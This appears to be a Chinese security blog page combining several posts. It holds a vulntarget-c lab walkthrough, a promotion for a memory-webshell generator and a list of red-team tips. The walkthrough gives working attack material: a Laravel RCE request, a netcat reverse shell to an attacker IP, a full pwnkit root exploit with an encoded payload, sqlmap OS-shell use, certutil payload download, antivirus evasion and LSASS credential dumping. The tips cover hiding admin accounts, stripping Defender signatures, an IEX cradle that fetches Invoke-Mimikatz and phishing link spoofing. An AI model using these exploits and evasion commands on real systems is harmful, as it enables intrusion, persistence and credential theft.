十个 AI Agent 渗透测试工具推荐，最后一个最适合手工党 从事AI安全相关的工作已经有一段时间了。在这一段时间里，GitHub上面的AI渗透测试工具那可就跟爆发了似的一下子多了起来。今儿个就来跟大家讲讲当下比较热门的十个项目，给很多想要在这个方面尝试一下的朋友们当作参考。服务器推荐服务器推荐：

阿里云 vs 腾讯云综合对比，服务器选购方案 基于实际价格数据的全方位分析，帮你选到最适合的云服务器一、前言很多师傅们第一次买服务器都踩坑了，要么买贵了，要么配置不够用，要么续费时价格翻倍。我做站两三年了，前前后后用过

vulntarget-c 内网靶场渗透实战：从外网到跨网段提权拿下三台主机 前期环境配置在开始渗透测试前，我们需要先调整靶场虚拟机的网络模式，将ubuntu20虚拟机切换为nat模式，确保所有靶场机器和测试主机处于同一内网网段，方便后续的流量通信和操作。第一阶段：外网打点与初始shell获取1、内网活跃主机探测渗透测试的第一步是定位目标所在的活跃主机，我们在测试终端执行arp-scan扫描命令，快速扫描当前局域网内的所有设备：arp-scan -l 执行后我们很快定位到了目标主机的IP地址：10.30.7.55。2、全端口扫描与服务识别接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描，使用半开放扫描模式避免被目标防火墙拦截，同时提速扫描效率：nmap -sS -p- -A 10.30.7.55 -T4 扫描结果显示80端口（HTTP服务）和22端口（SSH服务）处于开放状态，同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。3、漏洞信息收集通过扫描结果我们确认目标运行的是Laravel Web框架，结合公开的漏洞库信息，该版本的Laravel存在CVE-2021-3129远程代码执行漏洞，该漏洞可以通过特定的接口请求实现未授权的代码执行。4、漏洞验证与利用该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求，当页面返回500状态码且出现file_get_contents相关错误时，即可确认漏洞存在。我们构造了如下的HTTP请求包：文章参考：laravel RCE（CVE-2021-3129）复现 - Running_J - 博客园POST /_ignition/execute-solution HTTP/1.1 Host: 10.30.7.55 Content-Type: application/json Content-Length: 168 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "jack", "viewFile": "jack1" } } 5、获取反向shell我们可以使用公开的exp脚本进行快速利用expcuongtop4598/CVE-2021-3129-Script: Add revert shell首先需要根据目标系统的架构调整脚本内容修改源码，uname -a判断为系统类型为x64，并且wget命令存在首先我们生成针对linux x64架构的反弹shell木马：msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf 其中lhost是我们的本地监听IP，lport是自定义的监听端口。为了让目标主机可以下载我们生成的木马我们在本地开启了简易的HTTP文件共享服务，将当前目录作为共享目录。之后我们在目标主机执行修改后的下载命令，将木马文件下载到本地临时目录。接下来我们执行反弹shell命令，建立和本地监听终端的连接：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f 继续修改文件，分别写入如下命令，依次执行chmod +x /tmp/shell.elf /tmp/shell.elf 执行之前，新开一个终端，打开msfmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z" 上线之后能看到第二个网卡为10.0.20.1416、权限提升成功拿到低权限shell后，我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机，该脚本可以自动扫描主机上的潜在漏洞和配置错误：upload linpeas.sh shell python3 -c 'import pty;pty.spawn("/bin/bash")' chmod +x linpeas.sh ./linpeas.sh 扫描结果显示目标主机存在CVE-2021-4034（pwnkit）漏洞，这是一个pkexec的本地权限提升漏洞，可以让普通用户获取root权限。我们使用公开的poc脚本进行提权：#!/usr/bin/env python3 # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys # hardcoded amd64 lib from ctypes import * from ctypes.util import find_library import os import zlib import base64 import tempfile payload = zlib.decompress( base64.b64decode( """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""" ) ) libc = CDLL(find_library("c")) libc.exeCVE.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) libc.exeCVE.restype = c_ssize_t wd = tempfile.mkdtemp() open(wd + "/pwn.so", "wb").write(payload) os.mkdir(wd + "/gconv/") open(wd + "/gconv/gconv-modules", "w").write( "module UTF-8// INTERNAL ../pwn 2" ) os.mkdir(wd + "/GCONV_PATH=.") os.mknod(wd + "/GCONV_PATH=./gconv") os.chmod(wd + "/GCONV_PATH=.", 0o777) os.chmod(wd + "/GCONV_PATH=./gconv", 0o777) os.chmod(wd + "/pwn.so", 0o777) os.chdir(wd) cmd = b"/usr/bin/pkexec" argv = [] envp = [ b"gconv", b"PATH=GCONV_PATH=.", b"LC_MESSAGES=en_US.UTF-8", b"XAUTHORITY=../gconv", b"", ] cargv = (c_char_p * (len(argv) + 1))(*argv, None) cenv = (c_char_p * (len(envp) + 1))(*envp, None) libc.exeCVE(cmd, cargv, cenv) 执行该脚本后我们成功获取到了root权限，同时发现目标主机存在第二块网卡，IP地址为10.0.20.141，说明目标主机处于另一个内网网段，需要进行横向移动渗透。第二阶段：内网横向移动渗透1、配置路由与网段扫描我们需要将msf的流量转发到新发现的10.0.20.0/24网段，以便扫描该网段内的其他主机。首先我们配置路由规则，将该网段的流量通过当前的shell会话转发。接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机：ping内网主机发现，仅仅显示本机的第二张网卡ipfor i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done; tcp扫描，发现内网主机ip10.0.20.100，说明目标机器禁了ping或者开启了防火墙use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.20.0/24 set PORTS 22,80,135,139,445 run 2、访问Web后台与漏洞发现我们访问10.0.20.100的80端口，发现是一个企业内部的后台管理系统尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。在service list中的编辑按钮，能找到数据包，对其进行SQL注入检测，发现其可能存在SQL注入漏洞并且站点跟目录为\xampp\htdocs\ovas\3、SQL注入获取webshell我们使用sqlmap工具对该注入点进行检测，首先确认当前数据库用户权限：sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --current-user 尝试直接获取webshell，发现是系统权限sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --os-shell 成功获取到了windows主机的系统权限shell，我们查看系统架构确认是64位系统，systeminfo 接下来生成对应的反弹shell木马：msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe 传马到第一台机器中开启文件共享4、免杀木马与上线我们将生成的木马文件上传到目标主机的web目录下，尝试使用certutil命令下载并执行：windows机器从这台linux中下载文件certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe 准备上线上线失败，被杀加免杀，生成shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64 替换shellcode打包pyinstaller -F -w Bypass_AV.py 继续上传此时没有被杀，但是没有上线，大概率防火墙没关关闭防火墙netsh advfirewall set allprofiles state off 正常上线第三阶段：拿下第三台靶场主机1、内网信息收集与网段扫描成功获取windows主机权限后，我们进行内网信息收集，发现该主机处于工作组环境，没有域控制器。接下来我们扫描10.0.10.0/24网段，发现10.0.10.110主机仅开放22端口，大概率是linux服务器。发现另一个网段机器内网信息收集，发现并没有域环境，是一个工作组ping主机探测，发现内网第三台服务器，通过ttl为64可以看出目标机器大概率是linux服务器for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl" msf添加路由run post/multi/manage/autoroute 端口扫描，仅开放22端口use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.10.110 set PORTS 22,80,135,139,445 run 2、爆破登录与凭据获取我们尝试使用之前获取的凭据登录该linux主机，但是全部失败。于是我们使用hydra工具进行弱口令爆破，最终得到登录密码Admin#123，成功登录该主机。抓取系统hashload kiwi creds_all 修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 再次抓取，也失败creds_all 离线导出procdump.exe -accepteula -ma lsass.exe demo.dmp 开启http服务传到本地，使用本地的mimikatz加载明文密码使用mimikatz抓取明文密码，发现系统并没有保存密码在这个文件中，原因就是系统没有本地登录或者远程登录过，所以无法获取用户登录的凭据mimikatz.exe sekurlsa::minidump demo.dmp sekurlsa::logonpasswords full 直接爆破得到密码Admin#123 开启远程服务C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 Ok. C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f The operation completed successfully. 使用默认的远程连接工具连接不上，rdesktop 不支持 CredSSP使用下面这个工具xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore 3、获取最终权限我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据，密码为vuln@qwe，使用该密码我们成功登录并获取了该主机的最高权限，拿下了最后一台靶场机器。在文件管理中发现了这个远程连接工具查看旁边的10.0.10.110直接双击就能远程连接在linux中找了大半天信息，没有任何东西，直到在这个工具中发现这个用户的密码vuln@qwe拿下最后一台机器

MemShellParty 一款主流 Web 中间件内存马生成工具 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法，使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，专为安全研究人员与红队攻防人员打造，核心目标是简化内存马载荷的生成流程，大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架，JDK 版本适配范围覆盖 JDK6 ~ JDK21，可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架，搭建了完整的自动化测试矩阵，严格保障每一次生成的载荷都具备极高的可用性与稳定性，最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略，MemShellParty 实现了内存马体积的大幅缩减：常规内存马体积相较于 JMG 等传统工具缩小 30%，Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响，即使同时注入十几个不同类型的内存马，也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力，系统可自动适配 Java 模块限制绕过配置，动态生成最优攻击载荷，实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成；同时提供高度灵活的自定义内存马上传能力，可将任意定制化载荷融入 MemShellParty 的生成体系，打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应，探测所得的服务类型即为可生成对应内存马的服务类型（非中间件原生类型，例如 Apusic10 探测结果为 GlassFish，因其基于 GlassFish 进行二次开发）。在线尝鲜提示：仅限尝鲜使用，对于公网暴露的非官方服务请谨慎使用，避免生成的内存马被植入后门。 正式稳定版（master 分支）：https://party.mem.mk ，每次 Release 都会自动部署最新镜像。 开发预览版（dev 分支）：https://dev-party.mem.mk ，可抢先体验正在开发的新功能。 本地部署（推荐）适合内网环境或本地测试使用，可通过 Docker 一键启动服务，部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化，南大 Github Container Registry 镜像源 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest

红队150+工具集RedTeam-Tools 使用教程 红队实战技巧向红队老手取经——这里收集了一堆红队实战技巧，覆盖了各种战术、工具和方法论，拿来就能提升你的红队水平。利用鼠标事件改进HTML走私'Qakbot在HTML走私附件里加了鼠标移动事件监听，沙箱里不挪鼠标压缩包就不弹出来。'利用谷歌翻译搞钓鱼钓鱼页面通过谷歌翻译的页面预览功能做代理转发，骗取受害者输入的凭据。隐藏本地管理员账户reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f'搞持久化创建账号容易被蓝队发现。但你可以用注册表里的小魔法把本地管理员账号藏起来。'删签名废掉Windows Defender"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All'做法有点粗暴，但如果Windows Defender让你头疼得不行，别直接关（会弹告警），删掉签名文件就行。'开启多用户RDP会话reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f'有时候你想RDP登录一台机器，但那个用户已经有活动会话了。开启多用户会话就能解决。'Sysinternals PsExec的本地替代wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "'横向移动的时候还要上传Sysinternals PsExec.exe，烦不烦？Windows系统里自带了一个更好用的替代品。试试这个。'活在 Land 的端口扫描器0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null'能用系统自带就别往机器上扔工具（原因多了去了）。PowerShell和.NET都能帮上忙。比如这个用PowerShell写的简易端口扫描器。'感知代理的PowerShell下载$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")'现在大企业基本都架了Web代理，标准PowerShell下载摇篮不走代理，这个版本能感知代理。'从浏览器书签找内网端点type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"'光看用户的浏览器书签就能找到不少好东西，比如他们能访问的那些内部系统地址。'查DNS记录做信息收集Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>'信息收集占了95%的活。但疯狂扫环境动静太大，不如直接跟DC/DNS服务器要一份完整的DNS记录？'不用PowerUp查无引号服务路径Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name'不用PowerUp也能找到无引号服务路径'用/k绕过禁用的CMD# Win+R（调出运行框） cmd.exe /k "whoami"'管理员已禁用命令提示符...' 这种提示在Kiosk电脑之类的环境里挺常见。快速绕过的方法是通过Windows运行框加/k参数，命令照样执行，弹完限制提示也就完事了。'不让Defender删mimikatz.exe(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv'Windows Defender老删你mimikatz.exe，烦不烦？试试这个替代方案。'检测是否在虚拟机里reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"'想知道自己是不是在虚拟机里？查注册表就行了！！！只要搜出结果，就说明你在虚拟机里。'枚举AppLocker规则(Get-AppLockerPolicy -Local).RuleCollections Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\'AppLocker有时候挺烦人的，先枚举看看它到底有多烦。'用画图6像素搞出CMD快捷方式打开MSPAInt.exe，画布尺寸设为：宽=6像素，高=1像素放大画布，方便操作用取色器，从左到右依次设置每个像素的RGB值：1st: R: 10, G: 0, B: 02nd: R: 13, G: 10, B: 133rd: R: 100, G: 109, B: 994th: R: 120, G: 101, B: 465th: R: 0, G: 0, B: 1016th: R: 0, G: 0, B: 0保存为24位位图（.bmp;.dib）把扩展名从bmp改成bat，然后运行。'一种不太常见但很管用的拿shell方法——在微软画图里用特定颜色画几个像素，就能生成一个指向cmd.exe的快捷方式。BMP文件的编码算法有漏洞可钻，精心挑选RGB颜色值就能往文件里写入指定的ASCII数据。'PreventDefault JavaScript链接欺骗<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>PreventDefault Example</title> </head> <body> <a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a> </body> </html>已经有威胁行为者用这招来骗受害者点击伪造的恶意下载链接。利用JavaScript的PreventDefault方法，鼠标悬停时显示的是google.com这种正常链接，但一点下去就被重定向到攻击者的恶意链接bing.com。用来诱导受害者从你控制的站点下载payload相当好用。'用Responder测SMB防火墙规则Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"'做失陷评估的时候，我经常问客户能不能最后做个快速检查：Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"。要是Responder能抓到哈希，说明防火墙放行了出站SMB连接。''用SysInternals PsSuspend干AV用微软Sysinternals工具PsSuspend.exe可以挂起某些杀软的服务进程。这个微软签名工具接收PID或服务名，然后通过NtSuspendProcess这个Windows API把进程挂起。'侦察spiderfootSpiderFoot是一款开源情报（OSINT）自动化工具，几乎对接了市面上所有能用的数据源，还内置了多种数据分析方法，查出来的信息一目了然。SpiderFoot既可以进攻用（比如红队演练或渗透测试时做目标侦察），也可以防守用——看看你或你的组织在互联网上到底暴露了哪些东西。安装：wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz tar zxvf v4.0.tar.gz cd spiderfoot-4.0 pip3 install -r requirements.txt完整安装说明见这里。使用方法：Python3 ./sf.py -l 127.0.0.1:5001大量用法教程视频见这里reconftwreconFTW把整个信息收集流程全自动化了。子域名枚举、各种漏洞检查、目标信息最大化获取——一条龙搞定，效率远超手工操作。安装：Git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh完整安装说明见这里。使用方法：# 单目标域名 ./reconftw.sh -d target.com -r # 一个目标，多个域名 ./reconftw.sh -m target -l domAIns.txt -r # 被动侦察 ./reconftw.sh -d target.com -p # 执行所有检查和漏洞利用 ./reconftw.sh -d target.com -a完整使用说明见这里。subzy子域名接管检测工具，基于can-i-take-over-xyz的响应指纹匹配来工作。安装：go install -v Github.com/PentestPad/subzy@latest完整安装说明见这里。使用方法：# 子域名列表 ./subzy run --targets list.txt # 单个或多个目标 ./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.comsmtp-user-enum通过VRFY、EXPN和RCPT命令枚举SMTP用户，内置了智能超时、重试和重连机制。安装：pip install smtp-user-enum使用方法：smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --versioncrt.sh -> httprobe -> EyeWitness我拼了一条bash命令，一条龙搞定：从证书透明度日志被动收集子域名列表（crt.sh）主动请求每个子域名验证存活（httprobe）给每个子域名截图供人工审查（EyeWitness）使用方法：domAIn=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; Python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web注意：需要安装httprobe、pup和EyeWitness，并把'DOMAIN_COM'改成目标域名。如果有多个目标根域名，可以在多个终端窗口并发跑。jsendpoints一个JavaScript书签工具，用于提取网页上所有的API端点链接。由@renniepak创建，这段JavaScript代码可以从当前网页DOM中提取所有端点（以/开头的路径），包括网页中嵌入的所有外部脚本资源。JavaScript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();用法（书签）创建一个书签……右键点击书签栏点击'添加页面'把上面的JavaScript粘贴到'网址'框里点击'保存'……然后浏览器访问目标页面，点击这个书签就行了。用法（控制台）把上面的JavaScript粘贴到控制台窗口（F12），回车执行。nuclei快速漏洞扫描器，使用.yaml模板来搜索特定类型的安全问题。安装：go install -v Github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest使用方法：cat domAIns.txt | nuclei -t /PATH/nuclei-templates/certSniffcertSniff是我用Python写的证书透明度日志关键词监控工具。它用certstream库来监控包含指定关键词的证书创建日志。设置好跟目标域名相关的关键词让它跑着，一旦有新证书创建就会被记录下来，说不定就能发现你之前不知道的子域名。安装：Git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt使用方法：Python3 certSniff.py -f example.txtgobuster对目标网站进行文件和目录路径爆破的好工具。安装：sudo apt install gobuster使用方法：gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20feroxbuster专为强制浏览（Forced Browsing）攻击设计的工具——目标是枚举和访问那些Web应用没有显式引用、但攻击者仍然能访问的资源。Feroxbuster用字典暴力搜索目标目录下未被链接的内容。这些资源里可能藏着Web应用和操作系统的敏感信息，比如源码、凭据、内网地址等等……安装（Kali）：sudo apt update && sudo apt install -y feroxbuster安装：（Mac）curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash安装（Windows）：Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip Expand-Archive .\feroxbuster.zip .\feroxbuster\feroxbuster.exe -V完整安装说明见这里。使用方法：# 为每个URL添加.pdf、.js、.html、.php、.txt、.json和.docx扩展名 ./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx # 带请求头扫描 ./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}" # 从标准输入读取URL cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files # 通过BurpSuite代理请求 ./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080完整用法示例见[这里](https://epi052.github.io/feroxbuster-docs/docs/examples/)。 CloudBrute用来在主流云平台上（亚马逊、谷歌、微软、DiGitalOcean、